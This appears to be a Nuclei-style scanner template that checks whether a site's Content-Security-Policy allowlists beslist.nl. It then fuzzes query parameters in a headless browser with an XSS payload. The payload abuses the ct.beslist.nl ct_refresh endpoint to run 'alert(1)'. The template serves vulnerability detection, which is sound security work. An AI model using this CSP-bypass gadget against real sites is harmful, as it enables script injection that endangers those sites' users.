beslist-csp-bypass: Content-Security-Policy Bypass - beslist.nl

id: beslist-csp-bypass

info:
  name: Content-Security-Policy Bypass - beslist.nl
  author: Jaenact
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,beslist-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "beslist.nl"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: beslist_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://ct.beslist.nl/ct_refresh?shopid=%22;%0a%0dalert(1);%20//%20"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "beslist_csp_xss == true"
# digest: 4b0a00483046022100c0a7e8875f0a57db22f3e2c626e80ea0cff83098568a6c00d268e0a47af7061c022100b197f5280369940bc050b2db428d6f5cb055b0a89131b4e153f2ab580d68b3ed:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.